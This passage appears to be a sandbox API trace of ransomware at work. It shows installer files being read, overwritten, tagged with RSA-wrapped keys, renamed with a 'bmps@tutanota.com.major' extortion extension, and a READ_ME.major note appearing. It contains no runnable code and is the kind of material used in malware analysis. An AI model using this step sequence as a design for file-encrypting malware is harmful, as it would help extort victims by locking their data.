(lpFileName="\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c [0137.445] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17240) returned 1 [0137.445] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4358) returned 0x5ed868 [0137.445] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4358) returned 0x5f1bc8 [0137.445] ReadFile (in: hFile=0x49c, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x4358, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x4358, lpOverlapped=0x0) returned 1 [0137.479] SetFilePointer (in: hFile=0x49c, lDistanceToMove=-17240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.479] WriteFile (in: hFile=0x49c, lpBuffer=0x5f1bc8*, nNumberOfBytesToWrite=0x4358, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f1bc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4358, lpOverlapped=0x0) returned 1 [0137.479] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0137.479] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f1bc8 | out: hHeap=0x570000) returned 1 [0137.480] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4358 [0137.480] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0137.480] WriteFile (in: hFile=0x49c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0137.480] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0137.480] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0137.480] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0137.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0137.480] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="QIva9hYEPMGf1bRVTqzx8lFPcpN2KjplmRGd/q6Bpe3j49wGEbiHnzC+hMrrjnhM\n17/wL+qCP6f8HzfTRU+87WYKgXD28s6/6Q2KYqyJX9yOQCKIANl+1XgKf0tvuf6Y\nOO8JDlzvIQ/K3Dr2kBk0gLGtGt4ALIGHykbXvZJbWNzAuaQD1xvovwFfgh4ZoE6K\naw1Cq1RNEJJ3ODdp2fLGMg1Y2BINkJQc/38K52AOlYG02Tgq2zQJTHvOeyF8gkB9\nsQv1ox/P+FDwc20ImYE8lcT5CvDUy7pt4rZK7x6/N2JIZhRD39pzV9dozgzMP64C\nyhzL87f2u2tYfNcrrWi4lg==\n", pcchString=0x2e3f9a8) returned 1 [0137.480] WriteFile (in: hFile=0x49c, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0137.480] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0137.480] WriteFile (in: hFile=0x49c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0137.480] CloseHandle (hObject=0x49c) returned 1 [0137.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0137.481] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1033\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0137.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0137.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0137.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0137.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0137.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0137.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0137.483] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0137.483] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1033\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0137.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0137.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0137.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0137.483] CreateFileW (lpFileName="\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c [0137.484] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=77232) returned 1 [0137.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12db0) returned 0x5ed868 [0137.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12db0) returned 0x600620 [0137.484] ReadFile (in: hFile=0x49c, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x12db0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x12db0, lpOverlapped=0x0) returned 1 [0137.535] SetFilePointer (in: hFile=0x49c, lDistanceToMove=-77232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.535] WriteFile (in: hFile=0x49c, lpBuffer=0x600620*, nNumberOfBytesToWrite=0x12db0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x600620*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12db0, lpOverlapped=0x0) returned 1 [0137.535] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0137.536] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x600620 | out: hHeap=0x570000) returned 1 [0137.538] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12db0 [0137.538] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0137.538] WriteFile (in: hFile=0x49c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0137.538] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0137.538] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0137.539] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0137.539] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0137.539] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="w9zX0zxH7c6yuIAh8Sq6NTdrjTJPmM1d6Npf5Uv5kXz4SHaOiOSBhv4h3FWbonM7\njf5YQDEkV9uc2sC/lSpiZAL4cEMLOhsgoMQoTGWewPudt8hn2xYQ6g/U7ymcxx9l\n6juiBYWiO/26if+6zvsLyznDSWXBKM+pZUgKIkMAwx6pODXSN3fo/AYujqUj1yxh\nDcXH0BFwM427wgmYq0JnI4U3b8//1GereXMg9n3Y1DVBUdmVwfU2BNBSWdv77OkY\nvYppLYyc5j9ySu3hSdIFTbHjecud2UCnaxMoFw3CYsOnb0RtQAtvItJTvk+eJ18N\nFcCKSc9dpfKG12J9rluDMg==\n", pcchString=0x2e3f9a8) returned 1 [0137.539] WriteFile (in: hFile=0x49c, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0137.539] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0137.539] WriteFile (in: hFile=0x49c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0137.539] CloseHandle (hObject=0x49c) returned 1 [0137.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0137.542] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1033\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0137.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0137.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0137.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0137.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0137.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0137.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0137.543] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0137.543] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1033\\eula.rtf", dwFileAttributes=0x80) returned 1 [0137.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0137.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0137.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0137.544] CreateFileW (lpFileName="\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c [0137.544] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3188) returned 1 [0137.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc74) returned 0x5ed868 [0137.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc74) returned 0x5ee4e8 [0137.544] ReadFile (in: hFile=0x49c, lpBuffer=0x5ed868, nNumberOfBytesToRead=0xc74, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0xc74, lpOverlapped=0x0) returned 1 [0137.638] SetFilePointer (in: hFile=0x49c, lDistanceToMove=-3188, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.638] WriteFile (in: hFile=0x49c, lpBuffer=0x5ee4e8*, nNumberOfBytesToWrite=0xc74, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ee4e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc74, lpOverlapped=0x0) returned 1 [0137.638] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0137.638] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ee4e8 | out: hHeap=0x570000) returned 1 [0137.638] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc74 [0137.638] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0137.638] WriteFile (in: hFile=0x49c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0137.638] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0137.638] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0137.638] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0137.638] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0137.639] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="Wm58kUE3ju3mSCIG2XZSPXOd7cb0Z9kQkDTH9oAy0CuHCArmSIeoaDPTpeDhiXCL\nBVEaLhySTrI2FLn8kdl31okHDgPi1+ZhPNppcEMq03OcDeXPnYsdvLGa1YSjWVaG\ntPZxsWNffR4QOGlsELWgdS4+tPUcaG98RwgTh1FetKFNucr0/8bjtp5zq1n2hbCo\n14g959sUjtUTmoZwRPHDQAotZWCJ2j7PsIXnpSRbJeE6p7ABXpxLkB2cgtTarQYu\nymFEEpj3QnqinZNI8isM+/2m9QV9r0LZP+PWvX0d+5/SfSBfIo9unx3kLgbMTpoF\nuNne2gv2rUQTQa81rvvROg==\n", pcchString=0x2e3f9a8) returned 1 [0137.639] WriteFile (in: hFile=0x49c, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0137.639] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0137.639] WriteFile (in: hFile=0x49c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0137.639] CloseHandle (hObject=0x49c) returned 1 [0137.639] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0137.639] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1033\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0137.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0137.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0137.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0137.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0137.641] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0137.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0137.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0137.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0cf8 | out: hHeap=0x570000) returned 1 [0137.641] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffe05e2f, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b54f0 [0137.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0137.641] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0137.641] GetLastError () returned 0x0 [0137.642] SetLastError (dwErrCode=0x0) [0137.642] GetLastError () returned 0x0 [0137.642] SetLastError (dwErrCode=0x0) [0137.642] GetLastError () returned 0x0 [0137.642] SetLastError (dwErrCode=0x0) [0137.642] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee08 [0137.642] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0137.642] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0137.642] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0137.642] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5930 [0137.642] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5930 | out: hHeap=0x570000) returned 1 [0137.642] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40558 [0137.642] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0137.642] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0137.642] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee08 | out: hHeap=0x570000) returned 1 [0137.642] FindNextFileW (in: hFindFile=0x5b54f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffe05e2f, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0137.642] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0137.642] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0137.642] GetLastError () returned 0x0 [0137.642] SetLastError (dwErrCode=0x0) [0137.642] GetLastError () returned 0x0 [0137.642] SetLastError (dwErrCode=0x0) [0137.642] GetLastError () returned 0x0 [0137.643] SetLastError (dwErrCode=0x0) [0137.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0137.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0137.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0137.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0137.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b55f0 [0137.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b55f0 | out: hHeap=0x570000) returned 1 [0137.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0137.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0137.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0137.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0137.643] FindNextFileW (in: hFindFile=0x5b54f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0137.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0137.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0137.643] GetLastError () returned 0x0 [0137.643] SetLastError (dwErrCode=0x0) [0137.643] GetLastError () returned 0x0 [0137.643] SetLastError (dwErrCode=0x0) [0137.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0137.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0137.643] GetLastError () returned 0x0 [0137.643] SetLastError (dwErrCode=0x0) [0137.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0137.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0137.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0137.643] FindNextFileW (in: hFindFile=0x5b54f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0137.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0137.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0137.643] GetLastError () returned 0x0 [0137.643] SetLastError (dwErrCode=0x0) [0137.643] GetLastError () returned 0x0 [0137.644] SetLastError (dwErrCode=0x0) [0137.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0137.644] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0137.644] GetLastError () returned 0x0 [0137.644] SetLastError (dwErrCode=0x0) [0137.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0137.644] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0137.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0137.644] FindNextFileW (in: hFindFile=0x5b54f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe05e2f, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffe05e2f, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xffe05e2f, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0137.644] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0137.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0137.644] GetLastError () returned 0x0 [0137.644] SetLastError (dwErrCode=0x0) [0137.644] GetLastError () returned 0x0 [0137.644] SetLastError (dwErrCode=0x0) [0137.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0137.644] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0137.644] GetLastError () returned 0x0 [0137.644] SetLastError (dwErrCode=0x0) [0137.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0137.644] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0137.644] 